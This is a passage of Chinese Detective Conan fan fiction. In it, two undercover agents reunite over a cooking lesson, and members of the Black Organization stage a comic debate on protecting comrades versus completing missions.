“夸你洗碗洗得特别认真。”羽泽熙真说。 安室透狐疑地眯起眼睛,目光在两人的脸上扫来扫去,显然对这个答案的可信度持保留态度。 “……好吧。谢谢夸奖。” 他最终放弃了继续追究的念头。 “其实,苏格兰。”他把手从胸前放下来,“我在想,如果方便的话……你愿不愿意教我做菜?” “欸?” “我也可以教你的,安室君。”羽泽熙真在旁边插嘴,“怎么不找我?” “嗯……因为我想学成苏格兰的手艺之后,做给你吃?” 很明显,这个答案是临时编出来的。 “其实你是在暗示我做的饭没有苏格兰好吃对吧。” “……没有。”安室透眨眨眼,“我什么都没说。” “我听出来了。” “那一定是你听错了。” 绿川光轻轻笑了一声,上挑的蓝色猫眼愉快地弯起来。 “可以啊。”他说,“我来教波本先生做菜吧。” “真的?”安室透转过头,“那——今天可以吗?反正下午没有任务,清酒也在,我们可以一起——” “我待会儿有事。”羽泽熙真耸耸肩。 刚刚琴酒给他发了消息,让他有空记得去据点找他拿药。虽然过几天再去也不是不行,但他这会儿稍微有一点坐不住。 如果能把安室透一起带走就更好了,但以他这股子兴奋的劲头,还有苏格兰百依百顺的纵容度,现在恐怕没人能把他从苏格兰家里拽走。 琴酒来了也得被喂两口他新学的菜。 羽泽熙真看了看安室透,又看了看绿川光。 “波本,你想再待一会的话,就留在这里吧。”他说,“苏格兰,波本就交给你了。他想待到多晚都可以——打不到车他自己会走路回家。如果他给你添麻烦,就打电话给我。” “好。”绿川光点了点头。 “喂喂。”安室透不满:“听起来像是你把我寄养在苏格兰家里了。还有,我很麻烦吗?” “我可没那么说。” “我听出来了。” “那一定是你听错了。” 羽泽熙真笑了笑,从餐桌边站起身来。 “我先走了。”他说。 “路上小心。”另两个人几乎同时开口。 “知道了。” 羽泽熙真摆摆手。 40.非常美好的一天 羽泽熙真离开了。 这所两室一厅的小公寓里,只剩下了安室透和绿川光两个人。 或者说,降谷零和诸伏景光两个人。 降谷零还站在餐桌旁边,盯着那扇关上的门怔怔出神。 清酒走了。 清酒真的走了。 他原本以为还要多费一番口舌拒绝他带他一起走的意图,但清酒就这样把他放在苏格兰家里然后放心地走了。 现在这个地方,没有任何需要他扮演“波本”的观众。 只有他,和他的幼驯染,两个人。 一只温暖的手轻轻拍了拍他的肩膀。 “走吧。” 降谷零回神:“去哪?” “去教你做菜。”诸伏景光笑笑,“怎么,反悔了?” “……当然不会。” 降谷零跟在诸伏景光身后往厨房走。 诸伏景光决定先从最简单的炒蛋开始。 步骤很少,能最大程度地让一个新手体验烹饪的全过程,并且保持厨房的整洁度——这间厨房刚刚被降谷零收拾得一尘不染,他有些舍不得破坏它呢。 降谷零对此毫无意见。炒蛋也好,满汉全席也好,哪怕只是烧个开水,只要是诸伏景光教的,他都可以学。 诸伏景光从墙边的挂钩上取下围裙,朝他走去。 他绕到降谷零的身后,帮他把系带系好。 “谢谢。”降谷零说。 诸伏景光摇了摇头。 鸡蛋在冰箱里,他拿了两个出来,放到一旁备用。 “来,我们开始吧。”他指指碗柜,示意降谷零取一只碗出来,“首先,把鸡蛋打到碗里,搅拌成均匀的蛋液。” “是,苏格兰老师。” 降谷零从碗柜里拿了一只中等大小的瓷碗,把里面残余的水倒掉,放在台面上。 鸡蛋磕在碗沿,裂开了一道口子,被他用拇指小心翼翼地掰开。 “唔。” 降谷零低头看着碗里的蛋壳碎片,发出了一个不太满意的鼻音。 “磕的时候不要那么用力。”诸伏景光温声,“碗沿的接触面积很小,要轻一点。” 降谷零拿起第二颗鸡蛋,又尝试了一次。的确,放轻力度后,这次的鸡蛋十分完美的落入了碗里,蛋壳没有碎掉。 他用筷子不甚熟练地打散鸡蛋。 “加盐。”诸伏景光说。 “要加多少?” “感觉。” “……” 降谷零扁扁嘴,委屈地看着他的幼驯染。 他没有“感觉”这种玄之又玄的东西,他需要的是精准到小数点的克数。 见状,诸伏景光只能带着点笑意补充:“每种盐的咸度是不一样的,先少加一些试试,下次就知道该加多少了。” “好吧。” 搅好蛋液,降谷零在诸伏景光的示意下打开了抽油烟机。嗡嗡的声响充斥了整个房间,将两人轻微的呼吸声淹没了大半。 诸伏景光在一旁耐心指导:“先开小火,把锅预热,倒油……” 降谷零依言照做,虽然动作略显生疏,但好歹没有手忙脚乱。 油温渐渐升高,他在诸伏景光的提醒下适时地把蛋液倒入锅中,炒蛋的香气顿时蔓延开来。 “稍微等一等。”诸伏景光说,“让底部的蛋液先凝固,然后再用锅铲慢慢翻炒。” 于是降谷零接过他递来的锅铲,静静地等待着。 锅里的蛋液慢慢地从液态变成固态。 他的目光不知不觉地从蛋液上移开了。移到了身旁的幼驯染的脸上。 真好。以后可以光明正大的和他见面了。 他们是可以私下偷偷联系,但明面上的建交同样重要。清酒是最好的桥梁,降谷零等这个机会等了很久。 “……怎么了?” 诸伏景光大概是在余光里察觉到了降谷零的注视,转过头来。 降谷零缓缓伸出手,用拇指轻轻蹭过诸伏景光的下巴。 啊,好扎手。 “……你在干什么?” “摸你的胡子。”降谷零说。 “为什么要摸我的胡子。” “好奇。” 诸伏景光看着他,表情有点无奈,嘴角却不由自主地往上翘。 “你以前没有胡子。”降谷零说,“是什么时候开始留的?毕业之后?” 他的手指还停在原地,轻轻摩挲那片淡青色。 他突然想起,在很久之前,他其实就已经见过诸伏景光留胡子的样子了——毕业典礼那天。 那时景光穿着崭新的警服,让松田阵平帮他拍了一张单人照,结果松田偷偷的给他的照片画了一圈胡子。 当时大家都显得很惊讶。但作为诸伏景光的幼驯染,降谷零隐约觉得,景光本人似乎还挺喜欢这个形象的。 “是的,毕业之后。”诸伏景光没有躲开他的手,“留了胡子之后,看起来会比实际年龄大好几岁。” “确实。”降谷零点点头,“看起来很成熟。像个可靠的大人。” “我本来就很可靠。” “我知道。” 降谷零的手指从诸伏景光的下巴上滑下来,收回去。 “但你还是hiro。”他说,“不管留不留胡子,都是hiro。” “……zero。” 听到这个称呼,降谷零本能地屏住了呼吸。 zero。 这个在降谷零二十二岁前的大部分人生中,他几乎每天都能听到无数次的称呼,在他毕业后突兀地销声匿迹了。 与此同时,一个名为安室透的情报贩子代替降谷零活在了世界上。 “安室君”、“波本”…… 他有了新的名字,新的人生,而真实的过往成为了封在档案里的禁忌。 后来在据点的那片还带着血腥气的空地上,从苏格兰摘下兜帽睁开眼睛的那一刻,降谷零就知道,自己总有一天会再听到它,并为此不由自主地准备着、期待着那一天的到来。 但此刻,当这两个字终于被说出口,被那个人亲自说出口的时候—— 他的眼眶忽然一阵酸涩。 “……好久不见,hiro。” 他早该这么说了。 诸伏景光微微一愣。 “……好久不见,”他弯起那双漂亮的眼睛,“zero。” 说实话,这个时机选的并不算好。 抽油烟机的声音很响,鸡蛋的香气很浓郁,而降谷零已经闻到焦糊的不妙味道了。 他低下头,看着锅里金黄的蛋饼,用手里的锅铲给它艰难地翻了个面。 另一面已经和锅底是同一个色号了。 诸伏景光也低头看过去,“噗”地笑了一声。这可真是…… “……抱歉。”降谷零说。 “没事的。”诸伏景光关了火,把锅里失败的作品拨进垃圾桶,“失败是成功之母。” “我不是说蛋。”降谷零说,“我是说——” “我知道。” 诸伏景光把锅放回灶台上。 “你不用道歉,zero。什么都不用。” 无论是不告而别,长达两年的音讯全无,还是过去、现在、乃至未来他们可能会对彼此隐瞒或是误解的一切大事小事,都没有人需要道歉。 他们太了解彼此了,所以也太理解彼此了。 现在唯一重要的事情,只有一个。 在之后的卧底生涯中,他们应该如何配合,安全而高效的将这出戏演下去,直到他们所处的这个黑暗而血腥的黑色帝国彻底解体消散。 “……好吧。那么就先说正事。”降谷零闭了闭眼,“我发现组织里有内鬼,hiro。” 他关掉抽油烟机,厨房瞬间安静下来。 “莫吉托,这个代号你应该不陌生。他在暗中售卖组织的情报。” “啊,zero是查到了什么吗?”另一个内鬼诸伏景光有些惊讶。 “嗯。”降谷零转过身靠在灶台边缘,双手抱在胸前,“昨天我的线人告诉我,莫吉托鬼鬼祟祟地在和什么人交易。我去了现场,看到他在和一个还算有名的情报商交流,就悄悄录了音。不过我只录到了一小部分,他的保镖差点发现我,我在附近躲了一阵子,再过去的时候他们已经离开了。” “差点被发现啊……”诸伏景光微微皱眉,“前段时间莫吉托刚被朗姆警告过,现在又怀疑自己被人跟踪,他可能会提高警惕了。” 他顿了顿,“但你怎么会想到去查他?你受伤了吗?” “没有受伤。” 降谷零看了看垃圾桶里被扔掉的炒蛋,叹了口气。 “我们去客厅吧,”他说,“坐着说。” 现在实在是没什么心情继续学做菜了。 降谷零注意到莫吉托的原因有很多。 这个人经常出入在各种高端场所,甚至还有赌场,出手阔绰,很有钱,却没有任何合法收入来源可以解释这种消费水平。 安室透也替朗姆做过脏活,知道大概的收入是多少,但那根本无法满足莫吉托那种大手大脚的支出,他一定还有其他获取资金的渠道。 而在不久之前,由于雷兹把事情闹得太大,莫吉托手里的一条军火线就这么莫名其妙的落在了安室透头上。后来情报组内部对过账,雷兹原本给组织的报价和莫吉托最终报给组织的数目之间,差额可不只是一点两点,把朗姆气得不行,当着安室透的面用机械音把人骂了个狗血淋头。 这些还不够。 更多的收入,可能来自哪里呢…… 降谷零想到了死去的幽灵提到过的“卖给他情报的人”。幽灵拿到的情报很大概率来自于情报组,里面多是关于行动组相关的内容,有真有假,并且尤其针对琴酒和清酒等偏前线的人员。 被雷兹作为人质抓走的某个红头发年轻人。 那个红毛在码头上被救出来之后,对着来救他的波本和清酒破口大骂,似乎展示出了如出一辙的对于行动组的厌恶。 这就很有趣了。他必定是在某个人的耳濡目染下,有了这种根深蒂固的观念。 那么,红毛是谁的人呢? ——莫吉托。 41.辩论赛(上) 从苏格兰家里离开的羽泽熙真的心情还算不错。 既然苏格兰说他觉得波本没问题,羽泽熙真愿意暂时搁置自己的戒备,相信他的判断。他把波本留在了那里,自己来到了据点。 据点里很吵。 非常吵,比他预期的要吵太多了。 他这次去的不是三号据点,今天这个叫“渡鸦”,是一个有些年头的老据点。平时一些琴酒带队需要动用大量人手的任务会在这里商讨细节,因为这里的会议室比三号据点大得多,能容纳更多人同时就座。 “你这是偷换概念!伏特加,你再给我说一遍试试!” 某位暴脾气女性狙击手的大喊声,穿透力极强。羽泽熙真忍不住揉了揉耳朵。 “我说的是事实,基安蒂。你那个论点从根本上就站不住脚!” 伏特加的声音紧随其后。 ……论点?什么论点? 在打辩论赛吗? “科恩!把你那个破牌子放下!” 羽泽熙真循着声音找到了正在吵闹的会议室,敲了两下门,轻轻推开,里面围着桌子坐成一圈的人齐刷刷看向了他。 足足五个人。左边坐着三个狙击手,基安蒂,科恩,卡尔瓦多斯;右边坐着一个琴酒,中间站着一个伏特加。 “……打扰了。” 看上去是很麻烦的事,拿药暂缓。羽泽熙真思考了一下,最后决定把门缓缓关好,然后装作什么都不知道的样子离开。 站着的伏特加看到羽泽熙真,眼睛一亮,立刻快步走了过来,挡住快要关上的门,拽着他往里走。 “来来,你来得正好,清酒。”他说着把羽泽熙真按在琴酒旁边的位置上,“现在你是我们的反方二辩——呃三辩了。” 什么跟什么? 羽泽熙真抬头望向琴酒,银发男人把嘴里的烟拿下来,淡淡扫了他一眼。 “坐着。”他说。 那就坐着吧。 伏特加热情地把一沓草稿纸拍在了羽泽熙真面前的桌面上。 辩题:【任务执行过程中应该优先保护同伴还是完成任务】 正方是保护同伴,反方是完成任务。 羽泽熙真觉得自己更想去正方那边坐着。 “所以,这到底是怎么回事?”他忍了又忍,最后还是开口问道,“你们为什么要在这里开辩论赛?” 事情的起因要追溯到今天早些时候。 基安蒂和伏特加在休息室里碰巧遇上了,基安蒂刚执行完一个任务回来,任务中因为撤退时出了点意外科恩差点受伤。 虽然最后人都没事,但基安蒂憋了一肚子火。 基安蒂说伏特加只关心任务不关心同伴,伏特加说基安蒂感情用事迟早拖累科恩。科恩提议说“既然吵不出结果不如找人问问”,基安蒂说好啊问就问,卡尔瓦多斯在这时路过,被基安蒂拉了过来,不知出于何种心态提出辩论。 琴酒正好在隔壁休息室抽烟,被伏特加以“大哥你一定会支持我的对吧”的眼神盯了将近一分钟,最后用一种“随便吧”的态度坐到了反方阵营。 正方有三个人,而反方只有伏特加和琴酒,还不能指望琴酒发言,人数上太吃亏了。 伏特加正在发愁的时候,羽泽熙真推门走了进来。 听完背景的羽泽熙真露出一个礼貌的微笑,低头继续看桌上的草稿纸。 伏特加的论点写得满满当当。 第一,任务失败造成的连锁损失可能危及更多成员的性命,包括更多同伴。第二,同伴是手段,任务是目的。手段应该服务于目的,而不是凌驾于目的之上。第三,真正的信任,是相信对方能在任务中照顾好自己。过度保护反而会让搭档觉得自己不被信任。 伏特加还是有点实力的,说不定他一个人能辩过对面三个。 而对面的三个人…… 一辩:暴躁的狙击手基安蒂,她满脸不服,但正在等着羽泽熙真看完资料; 二辩:沉默的狙击手科恩,他手里举着个不知道哪儿来的小牌子,正面是“赞成”,反面大概是“反对”; 三辩:沉默且恋爱脑的狙击手卡尔瓦多斯,他双手抱臂靠在椅背上,目光在天花板上游移,可能正在后悔今天走进这个据点。 “可以了。”羽泽熙真看向站在长桌中间的伏特加,“你们进行到哪个环节了?” 刚刚听到他们吵吵闹闹的,一辩还是二辩? “在你来之前是自由辩论环节。”反方一辩兼主持人伏特加推了推墨镜。 “……” 一般来说,双方辩手都发表完意见之后才会进入到自由辩论环节。那是辩论赛中最激烈的阶段,双方在规定时间内自由发言,可以攻击对方的论点或者补充自己的论据。 之后就是总结陈词,然后辩论结束。 如果现在已经是自由辩论环节了,那不是马上就要结束了吗?而且也没有观众…… “事实上只有基安蒂作了一辩发言。”伏特加看出他表情不对,语速很快地补充道,“我才刚说一句她就开始反驳我了,剩下的各位看起来也不太想发言,就变成了我和她的自由辩论。” “伏特加你说什么——?!”基安蒂的声音从桌子对面炸过来。 “……那就继续自由辩论吧。”羽泽熙真礼貌微笑。 真好,大家都很自由呢。 “那么现在辩论继续。”伏特加说,“重申规则,琴酒大哥拥有一票否决权,可以在任何时候终止辩论。” “等等。”基安蒂举起手,“刚刚没说啊,什么叫琴酒拥有一票否决权?那我们辩了半天他直接说一句‘你们都是错的’不就完了?” “新加的规则。”伏特加义正辞严。 “什么破规则——” “咳。”羽泽熙真清了清嗓子,“基安蒂小姐,可以请你重新讲一遍正方观点吗?我没听到你的发言,想先了解一下你们的立场。” 基安蒂愣了一下,随即皱起眉头,她眼侧的凤尾蝶纹身扬起翅膀。 “可以是可以。”她双手抱在胸前,“我申请加一条规则——清酒不许拿腔作调地说话,听着真费劲。” 科恩默默地把写着“赞成”的小牌子举得高了点。 “……噗。” 隔壁的卡尔瓦多斯没忍住笑出了声。他立刻用拳头挡住嘴角,试图把它变成一声咳嗽。 羽泽熙真无奈地耸了耸肩。 基安蒂说得对,他确实在拿腔作调地说话。很奇怪,他自己都没注意到是从什么时候开始的,大概是和安室透每天在公寓里你来我往,不知不觉就染上了一些不太好的习惯。 比如在表达意见时带上“可以请你”“你觉得”“或许”这些软化语气的词,比如 在句子末尾不经意地加上一个礼貌的尾音。 “抱歉。”他说,“重来一次。基安蒂,你是怎么想的?” 基安蒂满意地站起身。 “我要说的有三点。首先呢,我们是人,不是机器。任务失败了可以重来,人死了就没了,就这么简单——如果有一个任务,完成它可以拿到一份重要情报,但代价是科恩的命,那我选择放弃任务,带着科恩活着回来。没有任何任务值得用同伴的命去换。” 说的在理。羽泽熙真点点头,示意她继续。 “其次,”基安蒂说,“组织花了多少年、多少资源才能培养出一个代号成员?你们自己算算——从外围成员到拿到代号,短则两三年,长则七八年。行动组和情报组加在一起才多少个代号成员?死一个少一个,这个道理不需要我再解释了吧?” 代价。 羽泽熙真左右看看,从琴酒跟前抓了支笔,在草稿纸上记下了这个关键词。 基安蒂的前两个论点的核心其实是重合的,说的都是“不保护同伴”的代价。 “最后,”基安蒂继续道,“同伴之间的关系是需要用信任去维护的,彼此重视才能彼此信任,一味的放弃只会导致没有人再愿意站在你身后。就是这样。” 她坐回到椅子上。 第三点直接撞在伏特加的枪口上了,哎呀。 “那么,我来讲述一下我方的观点吧。” 羽泽熙真站起身,微微一笑。 “首先,每一次任务的执行依靠的都不仅仅是个人的努力,情报需要情报组花费时间精力去搜集,时机选择需要外围成员付出代价去试探。如果你在任务现场因为要优先保护同伴而放弃了任务目标,那么你会辜负所有为这个任务付出过努力的人。更严重的是,任务失败会带来连锁反应——不得不处理掉的上下线,上级信任度的丧失,后果难以预测的情报泄露,甚至你自己和同伴的性命。” “换句话说,你今天为了保护一个同伴而放弃任务,可能间接导致了明天三个同伴的牺牲。这个代价,谁来承担?” 这是伏特加的第一个论点,刚刚他应该就是在这里被基安蒂反驳的。 但不知为何,基安蒂只是“嘁”了一声,没有站起来驳斥羽泽熙真。 于是他继续说下去。 “其次,关于信任。正方刚刚提到,如果任务优先,搭档之间就会失去信任。我认为恰恰相反。” 羽泽熙真看着她。 “什么是真正的信任?一个成熟的搭档,应该能够在任务中独立完成自己的职责,而不是依赖另一方的额外保护。过度保护你的搭档,实际上是在传递一个信息——‘我不相信你能照顾好自己’,这同样是对于信任关系的伤害。” “组织培养一个代号成员需要花费很长时间,正方刚刚也提到了这一点。在场的各位都是组织培养出的精英人员,清楚自己的实力,也知道能力不被肯定的挫败感——如果一个成员每次都需要被搭档保护才能活下来,那么我认为他是失败的,可以早点结束职业生涯了。” 会议室里安静了片刻,然后伏特加带头鼓起掌来,拍了三下发现只有自己一个人在拍,尴尬地把手收了回去。 倒是琴酒,一直靠坐在椅子上没什么动作的男人忽然动了动。 他把快燃尽的烟放进嘴里,不紧不慢地轻轻鼓了两下掌。 42.辩论赛(下) 基安蒂坐不住了,她几乎是跳起来的。 “清酒,你怎么证明为了救一个同伴可能害死更多同伴?!你在现场根本不知道任务失败会不会真的引发那些后果,你只能知道,你的搭档在你面前快要死了!” “你确定你知道你的搭档快要死了吗。” 羽泽熙真平静地反问。 “在任务现场,你得到的信息通常是不完整的。你看到搭档倒下,但无法确定他是暂时失去行动能力还是已经死了。如果你这时候立刻放弃任务去救他,可能会发现他的伤其实没有那么严重,或者不管你去不去救他都已经没有用了,而你白白错失了完成任务的最后机会。” “你——强词夺理!”基安蒂气急。 “清酒。” 科恩放下手中的牌子,站起身来。 “任务优先,是信任。”他一个词一个词地往外蹦,“致命伤,救不救?你的,搭档。” 科恩说话一向如此,羽泽熙真悄悄在心里翻译,这说的应该是:既然你说任务优先是真正的信任,那么如果你的搭档在你面前受了致命伤,你救不救。 算是对基安蒂刚刚问题的深化。 但不得不说,这个问题有些戳在他的痛点上了。 他的搭档——他现在的搭档是波本,那个金头发的、满肚子小心思的的情报官。他以前的搭档是苏格兰,那个温和的、厨艺精湛的的狙击手。还有一个更早的人。 “……自然是不救。”他说。 事后可以补救,如果来得及的话。 “苏格兰?”科恩问。 意思是“如果苏格兰要死了你救不救。”羽泽熙真自动翻译。 “不救。” “新,搭档?” 这个指的应该是波本。行动组的人知道羽泽熙真有了新搭档,但大多人不清楚是谁。 “不救。”羽泽熙真说。 “琴酒?” “……” 哎呀,刚刚的犹豫似乎被看出来了呢,他想。一直在被针对。 “清酒,不说话了?”基安蒂叉着腰,声音得意,“如果你的搭档是琴酒,你的上级,他在你面前受了致命伤,你有机会救他但必须放弃任务——你选哪个?” 仅仅是想象那个场面就让羽泽熙真皱了皱眉,他一时没能坚定开口。 基安蒂看到了机会,果断紧逼:“哈,你不是说任务优先吗?那你现在当着琴酒的面说——如果琴酒受了致命伤,你会优先完成任务,把他丢在那里等死。说啊。” “我……” “清酒当然会选任务!”伏特加忍不住插嘴,“他之前就——” “——伏特加。”羽泽熙真和琴酒同时开口。 “呃……” 伏特加意识到自己刚刚差点说什么,含糊着闭了嘴。 “总之,清酒肯定会选任务,大哥也会让他选任务!” 是的,这就是问题的答案了。 “我会选任务。”羽泽熙真说。 因为琴酒一定会让他选任务,而不是说“过来救我”。反过来,如果受伤的是羽泽熙真也一样。 基安蒂耸耸肩,和科恩一起坐下去。 羽泽熙真也坐下。 正方一直神游天外的卡尔瓦多斯在这时举了手,示意自己有话说。 伏特加冲他点了点头。 “我想从另一个角度说。”卡尔瓦多斯站起来,“我是一个狙击手,我的搭档通常是一个观察手。观察手的职责是保护我,如果我在瞄准目标的那一刻发现有人正瞄准我的观察手,我该怎么做?我应该先解决那个威胁——保护我的搭档——还是继续锁定目标?” 他自问自答:“我的教官告诉我,先解决威胁。因为狙击手失去观察手,等于失去了半个自己。任务目标可以重新锁定,但观察手死了,下一个观察手需要和我重新磨合,磨合期可能长达数月,以后的任务成功率会持续下降,代价同样不可估量。” 的确是很好的切入角度。羽泽熙真转了转手里的笔。 如果用伏特加准备的第二条论点来回答的话…… “卡尔瓦多斯。” 羽泽熙真转过头。说话的居然是琴酒。 “你的教官是对的。”琴酒抬眼,“狙击手应该先解决威胁,保护观察手。但你保护他,是因为你需要他来完成任务。如果观察手的存在本身会阻碍任务,你应该先解决观察手。” 卡尔瓦多斯的喉结动了一下,大概是在咽下某个不太合适的反驳。 琴酒没有给他时间。 “你说失去同伴会降低未来的任务成功率。没错,但同伴并非是不可替代的。在组织里,没有不可替代的人。” 那双冷绿色的眼睛平静地扫过在场沉默着的所有人。 “包括我。”他说,“组织的运转不依赖任何一个人。科恩死了会有新的科恩,基安蒂死了会有新的基安蒂。任务是目的,而同伴只是手段,如果你不能适应下一个搭档,很快也会有下一个人替代你的位置。” 对面三个人的脸色都不太好看。 说实话,羽泽熙真也觉得琴酒说得有点过,因为培养一个代号成员需要的成本——无论是时间还是资金——都是庞大的,更迭也没有那么随意。 但辩论就是这样,你要用最有力的言语去驳倒对方的观点。 “清酒。清酒。” 羽泽熙真听到伏特加小声叫他,他扭头看过去。 【总——结——】伏特加做口型。 羽泽熙真点点头,示意他可以。 “咳咳。”伏特加清清嗓子,打破了会议室内的沉寂。 “大家还有想发言的吗?没有的话,接下来让清酒做一个总结吧。” 没人说话,羽泽熙真站起来了。 “任务中应该优先保护同伴还是完成任务。”他把辩题重新念了一遍,“这个问题本身就是残酷的。我不希望任何人真的面临这个选择。但如果有一天,它不再只是辩论题——我会希望我的搭档选择完成任务。我也会做同样的选择。” 终于可以彻底坐下了。 正方三人没什么感情地鼓了鼓掌。 看得出来,他们没怎么被刚刚的讨论说服,只是简单的给个面子。组织的人嘛,多少都有些自己的坚持,怎么可能因为一场简单的辩论改变思想呢? 当然,辩论也不是为了改变谁的思想而存在的。 就在这时,会议室的门再次被人推开了。 “哎呀,我是不是错过了什么有趣的事?” 众人望去,一个女人站在门口。她手里拉着一只行李箱,身上披着风衣,金色的长卷发自肩头倾落而下。 她身形高挑,勾人心魄的姣好面容曾引得无数人追捧。蓝色眼睛微微弯下,优雅而慵懒的微笑挂于嘴角,掩盖了她内心的一切秘密。 她是…… 美国人气女影星,莎朗·温亚德。 ——组织代号,Vermouth。 贝尔摩德。 看到她的那一刻,羽泽熙真脸色微变。 ……她怎么从美国回来了。 那位先生让她回来的?为了什么? “贝尔摩德!”卡尔瓦多斯是全场反应最快的人。他的背脊瞬间挺直,手足无措,“你是什么时候回来的?如果你提前告诉我,我可以去接你……” 这位恋爱脑狙击手一直深深迷恋着贝尔摩德,迷恋到羽泽熙真怀疑他可以随时为了她送命。 “刚下飞机。” 贝尔摩德朝卡尔瓦多斯微微一笑,算是回应了他的问候。 她把行李箱放在门口,朝着距离她最近的羽泽熙真走去,刚好他面前放着一沓草稿纸。 “任务中应该优先保护同伴还是完成任务。”她低头轻声念出纸上的大字,愉悦地笑起来,“你们这是在开读书会么?” “是辩论赛。”伏特加说。 他用简洁的话语和贝尔摩德解释了刚刚发生的事,包括起因——争吵,经过——还是争吵,和结果——反方战斗力更强,取得了优势,以及清酒刚刚做了总结,辩论要结束了。 “哦?”贝尔摩德偏头看看身侧明显正在心虚想跑的羽泽熙真,手落在他肩膀上,“琴酒,你就由着他们胡闹么?还是说你也觉得,这是一个值得讨论的问题?” “……”羽泽熙真悄悄叹了口气。 今天他就不该来据点,他应该在苏格兰家里吃吃橘子喝喝茶,或者看波本把厨房搞得 一团糟然后被苏格兰温柔地赶出去。 任何一种选择都比现在强。 琴酒嗤笑一声:“你也可以发表你的意见,贝尔摩德。” “对啊,你什么意思贝尔摩德?”基安蒂不满,“怎么就胡闹了?” “好吧,好吧。那么,我就简单说几句。” 贝尔摩德用另一只空闲的手撩了撩自己耳侧的金发。 “不管是优先保护同伴还是优先完成任务,都在假设同一个前提——‘选择的权利在个人身上’。但在真正的任务现场,价值的天平最终会落向哪一个方向,不是我们能决定的。” 她这样说道。 “我们只需要做好一件事,同时那也是我们每一个人的职责——” “服从。”羽泽熙真说。 “对。”贝尔摩德轻笑着揉了揉他的头发,“但既然我们小清酒坐在反方的位置上,我当然也不介意给反方投上一票。反方赢了吗?” “赢了。”伏特加说,“从人数优势上来说是这样的。” “真不错呢。” 自由的辩论勉强算是有了结果,众人陆陆续续起身离开了会议室。 羽泽熙真原本也想跟着站起来,但贝尔摩德的手又按在了他肩上,用了点力。 “……” 他没再动。 伏特加在门口回头,张了张嘴,大概是想问“清酒你不走吗”,然后他和琴酒的目光无声地交汇了一瞬。 伏特加闭上嘴走了,顺便带上了门。 最终,这里只剩下了琴酒,贝尔摩德和羽泽熙真三人。 羽泽熙真忽然觉得自己很累,他刚刚经历了一场激烈的辩论,应该休息一下。 他向平整又冰凉的桌子上趴去,头埋在手臂里。 “小清酒。”贝尔摩德的声音从他上方传过来,带着笑意,“最近过得怎么样?” “还不错。” 羽泽熙真头也没抬地答道,声音闷闷的。 “是么。那就好。” 他感觉她的气息凑得更近了。 “怎么不看我?”她笑问,“我有那么可怕?” 羽泽熙真把埋在手臂间的脸转过来,露出一只金色眼睛。 贝尔摩德正弯着腰,一只手撑在桌子的边缘,另一只手按在他的肩膀上,湖蓝色眼睛里满是笑意。 在看了在看了。 贝尔摩德看着他那副要死不活的样子,摇摇头,直起腰来,走到他对面坐下。 “听说我不在的时候,你多了个新朋友呢。”她双腿交叠,单手支着脑袋,“他今天来了么?带我认识一下怎么样。” 不。可。以。 “那不是什么好人,”羽泽熙真抬起头,“你最好离他远一点。” 那是一个会对蓝色眼睛感兴趣的家伙,而贝尔摩德恰好有一双很漂亮的蓝色眼睛。 贝尔摩德露出些许惊讶的表情。 “瞧,琴酒。”她看向沉默抽烟的银发男人,“我们的小清酒居然会护食呢。” 羽泽熙真:“?” 护食?波本又不是他的食物,护的是哪门子的食? “说正事,贝尔摩德。”琴酒开口。 他从风衣口袋里掏出了一个小巧的药瓶,放在羽泽熙真面前。 “谢谢前辈。” 羽泽熙真表示自己已经快要忘记今天是来拿药的了。 “没什么正事啊。”贝尔摩德笑道,“正事就是我想和小清酒聊聊天。看样子,你还没有去找小雪莉吧,清酒?” 雪莉?谁? 羽泽熙真仔细回忆了一下,模糊地记起琴酒似乎提到过实验室新来了一个研究员,自己之后由她负责。 “还没有。”他又趴下去了,下巴搁在手腕上,“距离上次去研究所才过了四个月。” 他去研究所只有两件事,体检,或者拿药。 体检一年一次,在夏季,波本住进来前他刚刚做过一次,那时雪莉还没来。拿药现在有琴酒帮他拿,所以在他的药吃完之前,他没必要再跑去那里一趟。 “小雪莉调整了配方。”贝尔摩德温声,“不舒服的话,记得提前去检查。不要让我们担心啊?” “……知道了。” 43.并不美好的一天 虽然不知道贝尔摩德和琴酒究竟有没有除了聊天以外的其他正事要说,羽泽熙真还是找到机会,在贝尔摩德把目光转向琴酒时,从名为“渡鸦”的点溜了出去,买上一兜橘子回了家。 至于贝尔摩德在他身后发出的轻轻笑声……他不想管。 “我回来了——”他推门而入。 “你回来了。” 安室透的声音从客厅飘过来,漫不经心的。 嗯?他居然在家。 羽泽熙真原本以为安室透会在苏格兰的厨房里待到天荒地老,这个时间不可能看到他的。 是天赋太高,不用多久就学会了想学的菜肴呢,还是天赋太低,短时间内就对烹饪这个技能失去了所有兴趣? 他走进客厅,一眼就看到茶几上板板正正地摆着一兜熟悉的东西。 橘子。 安室透正翘着腿靠在沙发上,一只手举着手机在看什么。 听到脚步声,他抬起头,望向靠近的羽泽熙真。 “啊,你也买了。”他看到了羽泽熙真手里的东西。 “是啊。” 羽泽熙真把橘子放到茶几上,走到不远处的阳台,洗了个手,顺便看了看芹菜茂盛的长势——已经爆盆了,安室透前几天还在考虑把它分成两盆。 他走回来,甩甩手上的水珠。 “我们真是毫无默契呢。” 两个一模一样的塑料袋并排坐着,连袋子里橘子的数量都差不多,双胞胎似的。 在苏格兰家里时,安室透含含糊糊地说“等回去的时候再买些吧”,如果他们一起回去的话自然不会出现买重的情况。 但他们分开走了,羽泽熙真下意识觉得安室透是让他去买,而安室透大概觉得自己提的建议应该自己去执行。 结果一人买了一份。 “怎么能说是毫无默契?”安室透收起手机,“我们只是缺少沟通,而且都在为对方着想呢。” “……” 不对劲。 这人说话好诡异。 意识到这一点的羽泽熙真果断放弃了在客厅坐一会的念头,弯腰从袋子里捞出两个橘子,扭头就往房间走。 安室透也站起身,亦步亦趋地跟了上来。他快他也快,他慢他也慢。 安静的公寓中,二人的脚步声一前一后,几乎重叠。 “……” 羽泽熙真皱了皱眉,毫无预兆地停下脚步。身后的安室透刹得不够及时,差点撞到他身上。 “别跟着我。”羽泽熙真回头。 “我没有跟着你啊。”安室透无辜地双手插兜,“走廊只有这一条,我也有地方要去,所以恰好和你选择了相同的路而已。” ——谁跟你相同的路? 公寓的会客室就在走廊左手边的第一间房,羽泽熙真此刻刚好路过它。 他干脆放弃原本的目的地,调转方向,推门走进去。 会客室的温度比其他房间稍低些,方便保存酒和一些不太耐热的杂物。 这里很宽敞,大概有一个半卧室的大小,但很少有人来,所以羽泽熙真一直在拿它当杂物间用。 他按下墙边的开关,灯光亮起,房间里的东西一览无余。 